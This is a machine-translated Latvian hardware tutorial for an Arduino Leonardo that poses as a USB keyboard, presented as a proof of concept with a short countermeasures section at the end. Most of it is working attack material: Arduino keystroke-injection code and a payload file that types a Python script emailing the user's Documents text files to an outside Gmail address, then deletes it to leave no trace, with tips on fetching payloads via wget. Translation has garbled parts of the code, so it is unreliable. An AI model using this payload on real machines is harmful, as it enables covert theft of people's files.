Satura rādītājs:

Arduino tastatūras izmantošanas demonstrācija (HID) un novēršana: 4 soļi (ar attēliem)
Arduino tastatūras izmantošanas demonstrācija (HID) un novēršana: 4 soļi (ar attēliem)

Video: Arduino tastatūras izmantošanas demonstrācija (HID) un novēršana: 4 soļi (ar attēliem)

Video: Arduino tastatūras izmantošanas demonstrācija (HID) un novēršana: 4 soļi (ar attēliem)
Video: CS50 2013 - Week 9 2024, Jūnijs
Anonim
Image
Image
Ierīces veidošana
Ierīces veidošana

Šajā projektā mēs izmantosim arduino Leonardo, lai simulētu iespējamo USB uzbrukumu, izmantojot HID (humain interfeisa ierīci).

Es izveidoju šo pamācību nevis, lai palīdzētu hakeriem, bet lai parādītu jums dažas reālas briesmas un to, kā pasargāt sevi no šīm briesmām. Šī ierīce nav ierīce, ko var izmantot uz jebkuras hakeru platformas, tā drīzāk ir koncepcijas pierādījums.

Mēs uzzināsim sekojošo:

- kā lietot arduino Leonardo, lai atdarinātu tastatūru

- kā nolasīt datus no SD kartēm

- kā izveidot python skriptu, kas skenē failus un nosūta tiem e -pastu

- kā pasargāt sevi no USB uzlaušanas ierīcēm

1. solis: materiāli

Daļas:

1. Arduino Leonardo

2. mikro USB karšu lasītājs

3. dažas GB SD karte

4. spiedpoga, piemēram, šī (VCC, zeme un signāls)

5. sieviešu-vīriešu un sieviešu-sieviešu džemperu kabeļi

6. micro USB - USB kabelis

2. darbība. Ierīces izveide

Ierīces veidošana
Ierīces veidošana

Pirms būvniecības instrukcijas pārskatīsim darbības principu:

Arduino Leonardo var uzvesties kā cilvēka saskarnes ierīce (HID) un tāpēc var atdarināt peli un tastatūru. Mēs izmantosim šo funkciju, lai atvērtu termināli (UBUNTU linux) un uzrakstītu nelielu skriptu, kas piekļūs mapei /Dokumenti lietotāja mājas mapē un nokopēs.txt failus un nosūtīs tos kādam. Ja vēlaties uzzināt sīkāku informāciju, pārbaudiet nākamo darbību.

Tā kā tā ir demonstrācijas ierīce, lietas ir patiešām vienkāršas, mēs neko nelodēsim.

Celtniecības instrukcijas

Pirms sākam pārbaudīt pievienotos failus, esmu pievienojis fritzes shēmas un visus nepieciešamos failus

1. Salieciet sastāvdaļas:

* pievienojiet mikro USB kabeli arduino

* pievienojiet atslēgas slēdzi arduino (zemes, vcc un izejas modulis ar D8)

* pievienojiet karšu lasītāju arduino (izmantojot ICSP galveni). Arduino Leonardo ICSP galvene nav savienota ar digitālajām tapām, tāpēc jums būs jāpievieno karšu lasītājs ICSP galvenei. ICSP rasējumus varat atrast šeit: https://learn.sparkfun.com/tutorials/installing-an…. Pievienojiet SS tapu digitālajai tapai 10

2. iegūstiet arduino kodu, varat klonēt manu arduino krātuvi vietnē github: https://github.com/danionescu0/arduino un dodieties uz project/keyboard_exploit vai iegūstiet to no apakšas:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Miega režīms::"; String commandStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int pogaPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Sērijas sākums (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karte neizdevās vai tās nav!"); atgriešanās; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Augšupielādēts!"); kavēšanās (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("SD kartē nav norādītā faila nosaukuma, pārbaudiet filenameOnCard!"); } Stīgu līnija; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (līnija); sendToKeyboard (līnija); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; ja (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); atgriešanās; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (līnija); nospiedietEnter (); atgriešanās; } Serial.println ("Komanda:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String komanda = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; ja (komanda! = "") {Serial.print ("Komanda atrasta:"); Serial.println (komanda); Keyboard.press (getCommandCode (komanda)); kavēšanās (delayBetweenCommands); }} Keyboard.releaseAll (); kavēšanās (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); aizkavēšanās (sleepAmount); } char getCommandCode (virknes teksts) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kods = textCharacters [0]; kods = (teksts == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kods; kods = (teksts == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kods; kods = (teksts == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kods; kods = (teksts == "KEY_UP_ARROW")? KEY_UP_ARROW: kods; kods = (teksts == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kods; kods = (teksts == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kods; kods = (teksts == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kods; kods = (teksts == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kods; kods = (teksts == "KEY_BACKSPACE")? KEY_BACKSPACE: kods; kods = (teksts == "KEY_TAB")? KEY_TAB: kods; kods = (teksts == "KEY_RETURN")? KEY_RETURN: kods; kods = (teksts == "KEY_ESC")? KEY_ESC: kods; kods = (teksts == "KEY_INSERT")? KEY_INSERT: kods; kods = (teksts == "KEY_DELETE")? KEY_DELETE: kods; kods = (teksts == "KEY_PAGE_UP")? KEY_PAGE_UP: kods; kods = (teksts == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kods; kods = (teksts == "KEY_HOME")? KEY_HOME: kods; kods = (teksts == "KEY_END")? KEY_END: kods; kods = (teksts == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kods; kods = (teksts == "KEY_F1")? KEY_F1: kods; kods = (teksts == "KEY_F2")? KEY_F2: kods; kods = (teksts == "KEY_F3")? KEY_F3: kods; kods = (teksts == "KEY_F4")? KEY_F4: kods; kods = (teksts == "KEY_F5")? KEY_F5: kods; kods = (teksts == "KEY_F6")? KEY_F6: kods; kods = (teksts == "KEY_F7")? KEY_F7: kods; kods = (teksts == "KEY_F8")? KEY_F8: kods; kods = (teksts == "KEY_F9")? KEY_F9: kods; kods = (teksts == "KEY_F10")? KEY_F10: kods; kods = (teksts == "KEY_F11")? KEY_F1: kods; kods = (teksts == "KEY_F12")? KEY_F2: kods;

atgriešanās kods;

}

3. Augšupielādējiet kodu arduino, noteikti izvēlieties 9600 batu pārraides ātrumu, seriālo portu un arduino Leonardo

4. Formatējiet SD karti, izmantojot FAT16 vai FAT32

5. Ja klonējāt github repo no augšas, nokopējiet kartē failu hack.txt, ja tas nav norādīts zemāk:

Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Miega režīms:: 300 komanda:: KEY_INSERT importēt smtplib import glob, os no os.path importēt paplašinātāju no e -pasta. MIMEMultipart importē MIMEMultipart no e -pasta. MIMEBase importē MIMEBase no e -pasta. MIMEText importē MIMEText no e -pasta. Lietojumprogrammas importē COMMASPACE, formāta datumu no e -pasta importēšanas kodētājiem

smtp_user = 'sūtītāja_gmail_adrese'

smtp_pass = 'sender_gmail_password' to_address = 'saņēmēja_adrese' scan_documents_location = 'Dokumenti'

subject = body = 'Faili no uzlauzta datora'

header = 'Kam: {0} nNo: {1} nTēma: {2} n'.format (uz_adrese, smtp_user, subject)

def sendMail (uz, tēmu, tekstu, failiem = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = tēma msg.attach (MIMEText (teksts)) failiem failos: part = MIMEBase ('lietojumprogramma', "okteta straume") part.set_payload (atvērts (fails, "rb"). Lasīt ()) Encoders.encode_base64 (daļa) daļa. add_header ('Content-Disposition', 'pielikums; faila nosaukums = " % s"' % os.path.basename (fails)) msg.attach (daļa)

serveris = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([uz_adrese], tēma, pamatteksts, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Miega režīms:: 50 komandu:: KEY_ESC miega režīms:: 100: x miega režīms:: 500 nohup python hack.py un miega režīms:: 700 rm -rf hack.py Miega režīms:: 400 komandu:: KEY_LEFT_ALT, KEY_F4

6. Rediģējiet šādas rindiņas:

smtp_user = 'sender_email_addr'

smtp_pass = 'sūtītāja_parole' uz_adrese = 'saņēmēja_adrese'

Un aizstājiet ar savām e -pasta adresēm

7. Izņemiet karti un ievietojiet to arduino karšu lasītājā

3. darbība. Kā tas darbojas detalizēti

Kā darbojas uzbrukums:

1. Nospiežot pogu, Leonardo lasīs SD karti, izmantojot SD karšu lasītāju. Kartē būs īpašs fails ar taustiņiem un taustiņu kombināciju. Faila nosaukums ir "hack.txt".

Failā var būt neapstrādāts teksts, un tas tiks pārsūtīts uz tastatūru, kā tas ir.

Turklāt tas var saturēt īpašas komandas, piemēram, "Miegs::" un "Komanda::".

Līnija, piemēram:

Miega režīms:: 200 nozīmē 200 ms miegu

Līnija, piemēram:

Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t nozīmē, ka kreisā taustiņš ctrl ir nospiests, kreisā alt ir nospiesta, t ir nospiesta un viss ir atlaists

Visas īpašās atslēgas varat pārbaudīt šeit:

2. Leonardo lasīs rindu pa rindai, interpretēs komandas un atdarinās tastatūras taustiņus. Fails "hack.txt" satur taustiņu kombināciju, kas darbojas šādi (UBUNTU Linux):

a. atver termināli (CTRL + ALT + T)

b. atver python failu izveidei, izmantojot vi (raksta "vi hack.py"

c. raksta python skriptu, kas apkopo visus teksta failus dokumentu mājas mapē un nosūta tos uz norādīto Gmail adresi

d. palaida failu fonā ("nohup python hack.py &")

e. izdzēš failu (rm -rf hack.py)

f. aizver termināli (ALT + F4)

Viss notiek dažu sekunžu laikā un neatstāj pēdas.

Uzlabojumi un problēmu novēršana

* Jūs, iespējams, pamanījāt, ka pēc termināļa atvēršanas es rakstu pitona failu. labāks veids, kā to sasniegt, būs to kaut kur mitināt un lejupielādēt, izmantojot komandu "wget some_url", pēc tam pārdēvēt to par hack.py

* Arī mēs varam lejupielādēt vai palaist gatavu operāciju mērķa operētājsistēmai

* modulim var pievienot wifi, un uzlaušanu var augšupielādēt, izmantojot WIFI

* jūs varat izmantot arduino micro (kas ir daudz mazāks) un iegult tajā ekspluatācijas kodu (lai tas būtu mazāks)

Ierobežojumi

1. Tā kā simulētajai ierīcei (tastatūrai un pelei) nav atgriezeniskās saites, mēs nezinām, kas notiks pēc komandas izdošanas, kas nozīmē, ka mums ir jāizmanto aizkave. Piemēram, es izdodu komandu, lai atvērtu termināli, bet es nezinu, kad tas faktiski tiks atvērts, tāpēc man jānorāda patvaļīga aizkave, lai nodrošinātu, ka pēc tam ievadītās rakstzīmes netiks zaudētas.

2. Mēs varam saskarties ar atļauju problēmām, piemēram, mums nav piekļuves USB portam vai atļaujas kaut ko instalēt

3. Rakstīšanas ātrums Leonardo nav tik liels

4. Darbosies tikai ar mērķtiecīgu operētājsistēmu (mūsu gadījumā UBUNTU linux)

Nākamajā solī mēģināsim atrast veidus, kā izmantot šos ierobežojumus, lai novērstu mūsu datora uzlaušanu

4. solis: pretpasākumi

1. USB portu atspējošana

-operētājsistēmai Windows varat pārbaudīt šo apmācību:

2. USB ierīces baltajā sarakstā:

- logiem:

2. Bloķējiet datoru, kad neesat prom

3. Nepiesakieties kā root (lai instalētu kaut ko, ir nepieciešamas paroles)

4. Atjauniniet sevi (ieslēgti automātiskie atjauninājumi)

Ieteicams: